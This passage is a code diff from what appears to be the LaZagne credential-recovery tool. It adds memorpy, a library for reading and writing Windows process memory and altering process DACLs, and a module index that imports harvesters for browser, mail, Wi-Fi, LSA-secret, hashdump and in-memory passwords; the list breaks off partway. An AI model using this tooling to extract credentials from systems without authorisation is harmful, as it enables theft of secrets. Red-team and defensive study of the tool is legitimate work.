self.max_addr = 2147418111
|
||||
self.min_addr = si.lpMinimumApplicationAddress
|
||||
|
||||
|
||||
def __del__(self):
|
||||
self.close()
|
||||
|
||||
def is_64bit(self):
|
||||
if not "64" in platform.machine():
|
||||
return False
|
||||
iswow64 = c_bool(False)
|
||||
if IsWow64Process is None:
|
||||
return False
|
||||
if not IsWow64Process(self.h_process, byref(iswow64)):
|
||||
raise WinError()
|
||||
return not iswow64.value
|
||||
|
||||
@staticmethod
|
||||
def list():
|
||||
processes=[]
|
||||
arr = c_ulong * 256
|
||||
lpidProcess= arr()
|
||||
cb = sizeof(lpidProcess)
|
||||
cbNeeded = c_ulong()
|
||||
hModule = c_ulong()
|
||||
count = c_ulong()
|
||||
modname = create_string_buffer(100)
|
||||
PROCESS_QUERY_INFORMATION = 0x0400
|
||||
PROCESS_VM_READ = 0x0010
|
||||
|
||||
psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded))
|
||||
nReturned = int(cbNeeded.value/sizeof(c_ulong()))
|
||||
|
||||
pidProcess = [i for i in lpidProcess][:nReturned]
|
||||
for pid in pidProcess:
|
||||
proc={ "pid": int(pid) }
|
||||
hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
|
||||
if hProcess:
|
||||
psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))
|
||||
psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))
|
||||
proc["name"]=modname.value.decode()
|
||||
kernel32.CloseHandle(hProcess)
|
||||
processes.append(proc)
|
||||
return processes
|
||||
|
||||
@staticmethod
|
||||
def processes_from_name(processName):
|
||||
processes = []
|
||||
for process in WinProcess.list():
|
||||
if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName):
|
||||
processes.append(process)
|
||||
|
||||
if len(processes) > 0:
|
||||
return processes
|
||||
|
||||
@staticmethod
|
||||
def name_from_process(dwProcessId):
|
||||
process_list = WinProcess.list()
|
||||
for process in process_list:
|
||||
if process.pid == dwProcessId:
|
||||
return process.get("name", None)
|
||||
|
||||
return False
|
||||
|
||||
def _open(self, dwProcessId, debug=False):
|
||||
if debug:
|
||||
ppsidOwner = DWORD()
|
||||
ppsidGroup = DWORD()
|
||||
ppDacl = DWORD()
|
||||
ppSacl = DWORD()
|
||||
ppSecurityDescriptor = SECURITY_DESCRIPTOR()
|
||||
|
||||
process = kernel32.OpenProcess(262144, 0, dwProcessId)
|
||||
advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor))
|
||||
advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group)
|
||||
kernel32.CloseHandle(process)
|
||||
self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId)
|
||||
if self.h_process is not None:
|
||||
self.isProcessOpen = True
|
||||
self.pid = dwProcessId
|
||||
return True
|
||||
return False
|
||||
|
||||
def close(self):
|
||||
if self.h_process is not None:
|
||||
ret = kernel32.CloseHandle(self.h_process) == 1
|
||||
if ret:
|
||||
self.h_process = None
|
||||
self.pid = None
|
||||
self.isProcessOpen = False
|
||||
return ret
|
||||
return False
|
||||
|
||||
def _open_from_name(self, processName, debug=False):
|
||||
processes = self.processes_from_name(processName)
|
||||
if not processes:
|
||||
raise ProcessException("can't get pid from name %s" % processName)
|
||||
elif len(processes)>1:
|
||||
raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName)
|
||||
if debug:
|
||||
self._open(processes[0]["pid"], debug=True)
|
||||
else:
|
||||
self._open(processes[0]["pid"], debug=False)
|
||||
|
||||
def GetSystemInfo(self):
|
||||
si = SYSTEM_INFO()
|
||||
kernel32.GetSystemInfo(byref(si))
|
||||
return si
|
||||
|
||||
def GetNativeSystemInfo(self):
|
||||
si = SYSTEM_INFO()
|
||||
kernel32.GetNativeSystemInfo(byref(si))
|
||||
return si
|
||||
|
||||
def VirtualQueryEx(self, lpAddress):
|
||||
mbi = MEMORY_BASIC_INFORMATION()
|
||||
if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
|
||||
raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
|
||||
return mbi
|
||||
|
||||
def VirtualQueryEx64(self, lpAddress):
|
||||
mbi = MEMORY_BASIC_INFORMATION64()
|
||||
if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)):
|
||||
raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress)
|
||||
return mbi
|
||||
|
||||
def VirtualProtectEx(self, base_address, size, protection):
|
||||
old_protect = c_ulong(0)
|
||||
if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):
|
||||
raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))
|
||||
return old_protect.value
|
||||
|
||||
def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
|
||||
|
||||
offset = start_offset or self.min_addr
|
||||
end_offset = end_offset or self.max_addr
|
||||
|
||||
while True:
|
||||
if offset >= end_offset:
|
||||
break
|
||||
mbi = self.VirtualQueryEx(offset)
|
||||
offset = mbi.BaseAddress
|
||||
chunk = mbi.RegionSize
|
||||
protect = mbi.Protect
|
||||
state = mbi.State
|
||||
#print "offset: %s, chunk:%s"%(offset, chunk)
|
||||
if state & MEM_FREE or state & MEM_RESERVE:
|
||||
offset += chunk
|
||||
continue
|
||||
if protec:
|
||||
if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD:
|
||||
offset += chunk
|
||||
continue
|
||||
yield offset, chunk
|
||||
offset += chunk
|
||||
|
||||
def write_bytes(self, address, data):
|
||||
address = int(address)
|
||||
if not self.isProcessOpen:
|
||||
raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid))
|
||||
buffer = create_string_buffer(data)
|
||||
sizeWriten = c_size_t(0)
|
||||
bufferSize = sizeof(buffer) - 1
|
||||
_address = address
|
||||
_length = bufferSize + 1
|
||||
try:
|
||||
old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)
|
||||
except:
|
||||
pass
|
||||
|
||||
res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))
|
||||
try:
|
||||
self.VirtualProtectEx(_address, _length, old_protect)
|
||||
except:
|
||||
pass
|
||||
|
||||
return res
|
||||
|
||||
def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False):
|
||||
#print "reading %s bytes from addr %s"%(bytes, address)
|
||||
if use_NtWow64ReadVirtualMemory64:
|
||||
if NtWow64ReadVirtualMemory64 is None:
|
||||
raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process")
|
||||
RpM = NtWow64ReadVirtualMemory64
|
||||
else:
|
||||
RpM = ReadProcessMemory
|
||||
|
||||
address = int(address)
|
||||
buffer = create_string_buffer(bytes)
|
||||
bytesread = c_size_t(0)
|
||||
data = b''
|
||||
length = bytes
|
||||
while length:
|
||||
if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0):
|
||||
if bytesread.value:
|
||||
data += buffer.raw[:bytesread.value]
|
||||
length -= bytesread.value
|
||||
address += bytesread.value
|
||||
if not len(data):
|
||||
raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(),
|
||||
address,
|
||||
length,
|
||||
bytesread.value))
|
||||
return data
|
||||
else:
|
||||
if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it
|
||||
data += buffer.raw[:bytesread.value]
|
||||
return data
|
||||
raise WinError()
|
||||
# data += buffer.raw[:bytesread.value]
|
||||
# length -= bytesread.value
|
||||
# address += bytesread.value
|
||||
return data
|
||||
|
||||
|
||||
def list_modules(self):
|
||||
module_list = []
|
||||
if self.pid is not None:
|
||||
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid)
|
||||
if hModuleSnap is not None:
|
||||
module_entry = MODULEENTRY32()
|
||||
module_entry.dwSize = sizeof(module_entry)
|
||||
success = Module32First(hModuleSnap, byref(module_entry))
|
||||
while success:
|
||||
if module_entry.th32ProcessID == self.pid:
|
||||
module_list.append(copy.copy(module_entry))
|
||||
success = Module32Next(hModuleSnap, byref(module_entry))
|
||||
|
||||
kernel32.CloseHandle(hModuleSnap)
|
||||
return module_list
|
||||
|
||||
def get_symbolic_name(self, address):
|
||||
for m in self.list_modules():
|
||||
if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize):
|
||||
return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr)
|
||||
|
||||
return '0x%08X' % int(address)
|
||||
|
||||
def hasModule(self, module):
|
||||
if module[-4:] != '.dll':
|
||||
module += '.dll'
|
||||
module_list = self.list_modules()
|
||||
for m in module_list:
|
||||
if module in m.szExePath.split('\\'):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def get_instruction(self, address):
|
||||
"""
|
||||
Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.
|
||||
"""
|
||||
import pydasm
|
||||
try:
|
||||
data = self.read_bytes(int(address), 32)
|
||||
except:
|
||||
return 'Unable to disassemble at %08x' % address
|
||||
|
||||
return pydasm.get_instruction(data, pydasm.MODE_32)
|
||||
|
190
lazagne/config/lib/memorpy/WinStructures.py
Normal file
190
lazagne/config/lib/memorpy/WinStructures.py
Normal file
@ -0,0 +1,190 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong
|
||||
from ctypes.wintypes import *
|
||||
|
||||
if sizeof(c_void_p) == 8:
|
||||
ULONG_PTR = c_ulonglong
|
||||
else:
|
||||
ULONG_PTR = c_ulong
|
||||
|
||||
|
||||
class SECURITY_DESCRIPTOR(Structure):
|
||||
_fields_ = [
|
||||
('SID', DWORD),
|
||||
('group', DWORD),
|
||||
('dacl', DWORD),
|
||||
('sacl', DWORD),
|
||||
('test', DWORD)
|
||||
]
|
||||
PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)
|
||||
|
||||
class MEMORY_BASIC_INFORMATION(Structure):
|
||||
_fields_ = [('BaseAddress', c_void_p),
|
||||
('AllocationBase', c_void_p),
|
||||
('AllocationProtect', DWORD),
|
||||
('RegionSize', c_size_t),
|
||||
('State', DWORD),
|
||||
('Protect', DWORD),
|
||||
('Type', DWORD)]
|
||||
|
||||
# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx
|
||||
class MEMORY_BASIC_INFORMATION64(Structure):
|
||||
_fields_ = [('BaseAddress', c_ulonglong),
|
||||
('AllocationBase', c_ulonglong),
|
||||
('AllocationProtect', DWORD),
|
||||
('alignement1', DWORD),
|
||||
('RegionSize', c_ulonglong),
|
||||
('State', DWORD),
|
||||
('Protect', DWORD),
|
||||
('Type', DWORD),
|
||||
('alignement2', DWORD)]
|
||||
|
||||
|
||||
|
||||
class SYSTEM_INFO(Structure):
|
||||
_fields_ = [('wProcessorArchitecture', WORD),
|
||||
('wReserved', WORD),
|
||||
('dwPageSize', DWORD),
|
||||
('lpMinimumApplicationAddress', LPVOID),
|
||||
('lpMaximumApplicationAddress', LPVOID),
|
||||
('dwActiveProcessorMask', ULONG_PTR),
|
||||
('dwNumberOfProcessors', DWORD),
|
||||
('dwProcessorType', DWORD),
|
||||
('dwAllocationGranularity', DWORD),
|
||||
('wProcessorLevel', WORD),
|
||||
('wProcessorRevision', WORD)]
|
||||
|
||||
|
||||
class PROCESSENTRY32(Structure):
|
||||
_fields_ = [('dwSize', c_uint),
|
||||
('cntUsage', c_uint),
|
||||
('th32ProcessID', c_uint),
|
||||
('th32DefaultHeapID', c_uint),
|
||||
('th32ModuleID', c_uint),
|
||||
('cntThreads', c_uint),
|
||||
('th32ParentProcessID', c_uint),
|
||||
('pcPriClassBase', c_long),
|
||||
('dwFlags', DWORD),
|
||||
#('dwFlags', ULONG_PTR),
|
||||
('szExeFile', c_char * 260),
|
||||
('th32MemoryBase', c_long),
|
||||
('th32AccessKey', c_long)]
|
||||
|
||||
|
||||
class MODULEENTRY32(Structure):
|
||||
_fields_ = [('dwSize', c_uint),
|
||||
('th32ModuleID', c_uint),
|
||||
('th32ProcessID', c_uint),
|
||||
('GlblcntUsage', c_uint),
|
||||
('ProccntUsage', c_uint),
|
||||
('modBaseAddr', c_uint),
|
||||
('modBaseSize', c_uint),
|
||||
('hModule', c_uint),
|
||||
('szModule', c_char * 256),
|
||||
('szExePath', c_char * 260)]
|
||||
|
||||
|
||||
class THREADENTRY32(Structure):
|
||||
_fields_ = [('dwSize', c_uint),
|
||||
('cntUsage', c_uint),
|
||||
('th32ThreadID', c_uint),
|
||||
('th32OwnerProcessID', c_uint),
|
||||
('tpBasePri', c_uint),
|
||||
('tpDeltaPri', c_uint),
|
||||
('dwFlags', c_uint)]
|
||||
|
||||
|
||||
class TH32CS_CLASS(object):
|
||||
INHERIT = 2147483648
|
||||
SNAPHEAPLIST = 1
|
||||
SNAPMODULE = 8
|
||||
SNAPMODULE32 = 16
|
||||
SNAPPROCESS = 2
|
||||
SNAPTHREAD = 4
|
||||
ALL = 2032639
|
||||
|
||||
|
||||
Module32First = windll.kernel32.Module32First
|
||||
Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
|
||||
Module32First.rettype = c_int
|
||||
Module32Next = windll.kernel32.Module32Next
|
||||
Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
|
||||
Module32Next.rettype = c_int
|
||||
|
||||
Process32First = windll.kernel32.Process32First
|
||||
Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
|
||||
Process32First.rettype = c_int
|
||||
Process32Next = windll.kernel32.Process32Next
|
||||
Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
|
||||
Process32Next.rettype = c_int
|
||||
|
||||
CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot
|
||||
CreateToolhelp32Snapshot.reltype = c_long
|
||||
CreateToolhelp32Snapshot.argtypes = [c_int, c_int]
|
||||
|
||||
CloseHandle = windll.kernel32.CloseHandle
|
||||
CloseHandle.argtypes = [c_void_p]
|
||||
CloseHandle.rettype = c_int
|
||||
|
||||
OpenProcess = windll.kernel32.OpenProcess
|
||||
OpenProcess.argtypes = [c_void_p, c_int, c_long]
|
||||
OpenProcess.rettype = c_long
|
||||
OpenProcessToken = windll.advapi32.OpenProcessToken
|
||||
OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE))
|
||||
OpenProcessToken.restype = BOOL
|
||||
|
||||
ReadProcessMemory = windll.kernel32.ReadProcessMemory
|
||||
ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)]
|
||||
ReadProcessMemory = windll.kernel32.ReadProcessMemory
|
||||
|
||||
WriteProcessMemory = windll.kernel32.WriteProcessMemory
|
||||
WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]
|
||||
WriteProcessMemory.restype = BOOL
|
||||
|
||||
if sizeof(c_void_p) == 8:
|
||||
NtWow64ReadVirtualMemory64=None
|
||||
else:
|
||||
try:
|
||||
NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64
|
||||
NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead);
|
||||
NtWow64ReadVirtualMemory64.restype = BOOL
|
||||
except:
|
||||
NtWow64ReadVirtualMemory64=None
|
||||
|
||||
VirtualQueryEx = windll.kernel32.VirtualQueryEx
|
||||
VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t]
|
||||
VirtualQueryEx.restype = c_size_t
|
||||
|
||||
#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx
|
||||
#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t]
|
||||
#VirtualQueryEx64.restype = c_size_t
|
||||
|
||||
PAGE_EXECUTE_READWRITE = 64
|
||||
PAGE_EXECUTE_READ = 32
|
||||
PAGE_READONLY = 2
|
||||
PAGE_READWRITE = 4
|
||||
PAGE_NOCACHE = 512
|
||||
PAGE_WRITECOMBINE = 1024
|
||||
PAGE_GUARD = 256
|
||||
|
||||
MEM_COMMIT = 4096
|
||||
MEM_FREE = 65536
|
||||
MEM_RESERVE = 8192
|
||||
|
||||
UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912
|
||||
DACL_SECURITY_INFORMATION = 4
|
32
lazagne/config/lib/memorpy/__init__.py
Normal file
32
lazagne/config/lib/memorpy/__init__.py
Normal file
@ -0,0 +1,32 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
import logging
|
||||
logger=logging.getLogger("memorpy")
|
||||
logger.setLevel(logging.WARNING)
|
||||
ch = logging.StreamHandler()
|
||||
ch.setLevel(logging.WARNING)
|
||||
logger.addHandler(ch)
|
||||
|
||||
import sys
|
||||
from .MemWorker import *
|
||||
from .Locator import *
|
||||
from .Address import *
|
||||
from .Process import *
|
||||
from .utils import *
|
||||
#if sys.platform=="win32":
|
||||
# from wintools import * #not a necessary dependency, just used for debugging
|
8
lazagne/config/lib/memorpy/structures.py
Normal file
8
lazagne/config/lib/memorpy/structures.py
Normal file
@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
import sys
|
||||
if sys.platform=="win32":
|
||||
from .WinStructures import *
|
||||
else:
|
||||
from .LinStructures import *
|
121
lazagne/config/lib/memorpy/utils.py
Normal file
121
lazagne/config/lib/memorpy/utils.py
Normal file
@ -0,0 +1,121 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import re
|
||||
import struct
|
||||
|
||||
def re_to_unicode(s):
|
||||
newstring = ''
|
||||
for c in s:
|
||||
newstring += re.escape(c) + '\\x00'
|
||||
|
||||
return newstring
|
||||
|
||||
|
||||
def type_unpack(type):
|
||||
""" return the struct and the len of a particular type """
|
||||
type = type.lower()
|
||||
s = None
|
||||
l = None
|
||||
if type == 'short':
|
||||
s = 'h'
|
||||
l = 2
|
||||
elif type == 'ushort':
|
||||
s = 'H'
|
||||
l = 2
|
||||
elif type == 'int':
|
||||
s = 'i'
|
||||
l = 4
|
||||
elif type == 'uint':
|
||||
s = 'I'
|
||||
l = 4
|
||||
elif type == 'long':
|
||||
s = 'l'
|
||||
l = 4
|
||||
elif type == 'ulong':
|
||||
s = 'L'
|
||||
l = 4
|
||||
elif type == 'float':
|
||||
s = 'f'
|
||||
l = 4
|
||||
elif type == 'double':
|
||||
s = 'd'
|
||||
l = 8
|
||||
else:
|
||||
raise TypeError('Unknown type %s' % type)
|
||||
return ('<' + s, l)
|
||||
|
||||
|
||||
def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):
|
||||
"""
|
||||
function originally from pydbg, modified to display other types
|
||||
"""
|
||||
dump = prefix
|
||||
slice = ''
|
||||
if ftype != 'bytes':
|
||||
structtype, structlen = type_unpack(ftype)
|
||||
for i in range(0, len(data), structlen):
|
||||
if addr % 16 == 0:
|
||||
dump += ' '
|
||||
for char in slice:
|
||||
if ord(char) >= 32 and ord(char) <= 126:
|
||||
dump += char
|
||||
else:
|
||||
dump += '.'
|
||||
|
||||
dump += '\n%s%08X: ' % (prefix, addr)
|
||||
slice = ''
|
||||
tmpval = 'NaN'
|
||||
try:
|
||||
packedval = data[i:i + structlen]
|
||||
tmpval = struct.unpack(structtype, packedval)[0]
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
if tmpval == 'NaN':
|
||||
dump += '{:<15} '.format(tmpval)
|
||||
elif ftype == 'float':
|
||||
dump += '{:<15.4f} '.format(tmpval)
|
||||
else:
|
||||
dump += '{:<15} '.format(tmpval)
|
||||
addr += structlen
|
||||
|
||||
else:
|
||||
for byte in data:
|
||||
if addr % 16 == 0:
|
||||
dump += ' '
|
||||
for char in slice:
|
||||
if ord(char) >= 32 and ord(char) <= 126:
|
||||
dump += char
|
||||
else:
|
||||
dump += '.'
|
||||
|
||||
dump += '\n%s%08X: ' % (prefix, addr)
|
||||
slice = ''
|
||||
dump += '%02X ' % byte
|
||||
slice += chr(byte)
|
||||
addr += 1
|
||||
|
||||
remainder = addr % 16
|
||||
if remainder != 0:
|
||||
dump += ' ' * (16 - remainder) + ' '
|
||||
for char in slice:
|
||||
if ord(char) >= 32 and ord(char) <= 126:
|
||||
dump += char
|
||||
else:
|
||||
dump += '.'
|
||||
|
||||
return dump + '\n'
|
6
lazagne/config/lib/memorpy/version.py
Normal file
6
lazagne/config/lib/memorpy/version.py
Normal file
@ -0,0 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
|
||||
version=(1,7)
|
||||
version_string="%s.%s"%version
|
||||
|
35
lazagne/config/lib/memorpy/wintools.py
Normal file
35
lazagne/config/lib/memorpy/wintools.py
Normal file
@ -0,0 +1,35 @@
|
||||
# Author: Nicolas VERDIER
|
||||
# This file is part of memorpy.
|
||||
#
|
||||
# memorpy is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# memorpy is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from ctypes import windll
|
||||
import time
|
||||
|
||||
def start_winforeground_daemon():
|
||||
import threading
|
||||
t=threading.Thread(target=window_foreground_loop)
|
||||
t.daemon=True
|
||||
t.start()
|
||||
|
||||
def window_foreground_loop(timeout=20):
|
||||
""" set the windows python console to the foreground (for example when you are working with a fullscreen program) """
|
||||
hwnd = windll.kernel32.GetConsoleWindow()
|
||||
HWND_TOPMOST = -1
|
||||
SWP_NOMOVE = 2
|
||||
SWP_NOSIZE = 1
|
||||
while True:
|
||||
windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)
|
||||
time.sleep(timeout)
|
||||
|
172
lazagne/config/manage_modules.py
Normal file
172
lazagne/config/manage_modules.py
Normal file
@ -0,0 +1,172 @@
|
||||
# Browsers
|
||||
from lazagne.softwares.browsers.chromium_based import chromium_browsers
|
||||
from lazagne.softwares.browsers.ie import IE
|
||||
from lazagne.softwares.browsers.mozilla import firefox_browsers
|
||||
from lazagne.softwares.browsers.ucbrowser import UCBrowser
|
||||
# Chats
|
||||
from lazagne.softwares.chats.pidgin import Pidgin
|
||||
from lazagne.softwares.chats.psi import PSI
|
||||
from lazagne.softwares.chats.skype import Skype
|
||||
# Databases
|
||||
from lazagne.softwares.databases.dbvis import Dbvisualizer
|
||||
from lazagne.softwares.databases.postgresql import PostgreSQL
|
||||
from lazagne.softwares.databases.robomongo import Robomongo
|
||||
from lazagne.softwares.databases.sqldeveloper import SQLDeveloper
|
||||
from lazagne.softwares.databases.squirrel import Squirrel
|
||||
# Games
|
||||
from lazagne.softwares.games.galconfusion import GalconFusion
|
||||
from lazagne.softwares.games.kalypsomedia import KalypsoMedia
|
||||
from lazagne.softwares.games.roguestale import RoguesTale
|
||||
from lazagne.softwares.games.turba import Turba
|
||||
# Git
|
||||
from lazagne.softwares.git.gitforwindows import GitForWindows
|
||||
# Mails
|
||||
from lazagne.softwares.mails.outlook import Outlook
|
||||
from lazagne.softwares.mails.thunderbird import Thunderbird
|
||||
# Maven
|
||||
from lazagne.softwares.maven.mavenrepositories import MavenRepositories
|
||||
# Memory
|
||||
from lazagne.softwares.memory.keepass import Keepass
|
||||
from lazagne.softwares.memory.memorydump import MemoryDump
|
||||
# Multimedia
|
||||
from lazagne.softwares.multimedia.eyecon import EyeCON
|
||||
# Php
|
||||
from lazagne.softwares.php.composer import Composer
|
||||
# Svn
|
||||
from lazagne.softwares.svn.tortoise import Tortoise
|
||||
# Sysadmin
|
||||
from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio
|
||||
from lazagne.softwares.sysadmin.coreftp import CoreFTP
|
||||
from lazagne.softwares.sysadmin.cyberduck import Cyberduck
|
||||
from lazagne.softwares.sysadmin.filezilla import Filezilla
|
||||
from lazagne.softwares.sysadmin.filezillaserver import FilezillaServer
|
||||
from lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator
|
||||
from lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows
|
||||
from lazagne.softwares.sysadmin.openvpn import OpenVPN
|
||||
from lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP
|
||||
from lazagne.softwares.sysadmin.keepassconfig import KeePassConfig
|
||||
from lazagne.softwares.sysadmin.iisapppool import IISAppPool
|
||||
from lazagne.softwares.sysadmin.puttycm import Puttycm
|
||||
from lazagne.softwares.sysadmin.rdpmanager import RDPManager
|
||||
from lazagne.softwares.sysadmin.unattended import Unattended
|
||||
from lazagne.softwares.sysadmin.vnc import Vnc
|
||||
from lazagne.softwares.sysadmin.winscp import WinSCP
|
||||
from lazagne.softwares.sysadmin.wsl import Wsl
|
||||
# Wifi
|
||||
from lazagne.softwares.wifi.wifi import Wifi
|
||||
# Windows
|
||||
from lazagne.softwares.windows.autologon import Autologon
|
||||
from lazagne.softwares.windows.cachedump import Cachedump
|
||||
from lazagne.softwares.windows.credman import Credman
|
||||
from lazagne.softwares.windows.credfiles import CredFiles
|
||||
from lazagne.softwares.windows.hashdump import Hashdump
|
||||
from lazagne.softwares.windows.ppypykatz import Pypykatz
|
||||
from lazagne.softwares.windows.lsa_secrets import LSASecrets
|
||||
from lazagne.softwares.windows.vault import Vault
|
||||
from lazagne.softwares.windows.vaultfiles import VaultFiles
|
||||
from lazagne.softwares.windows.windows import WindowsPassword
|
||||
|
||||
|
||||
def get_categories():
|
||||
category = {
|
||||
'browsers': {'help': 'Web browsers supported'},
|
||||
'chats': {'help': 'Chat clients supported'},
|
||||
'databases': {'help': 'SQL/NoSQL clients supported'},
|
||||
'games': {'help': 'Games etc.'},
|
||||
'git': {'help': 'GIT clients supported'},
|
||||
'mails': {'help': 'Email clients supported'},
|
||||
'maven': {'help': 'Maven java build tool'},
|
||||
'memory': {'help': 'Retrieve passwords from memory'},
|
||||
'multimedia': {'help': 'Multimedia applications, etc'},
|
||||
'php': {'help': 'PHP build tool'},
|
||||
'svn': {'help': 'SVN clients supported'},
|
||||
'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
|
||||
'windows': {'help': 'Windows credentials (credential manager, etc.)'},
|
||||
'wifi': {'help': 'Wifi'},
|
||||
}
|
||||
return category
|
||||
|
||||
|
||||
def get_modules():
|
||||
module_names = [
|
||||
|
||||
# Browser
|
||||
IE(),
|
||||
UCBrowser(),
|
||||
|
||||
# Chats
|
||||
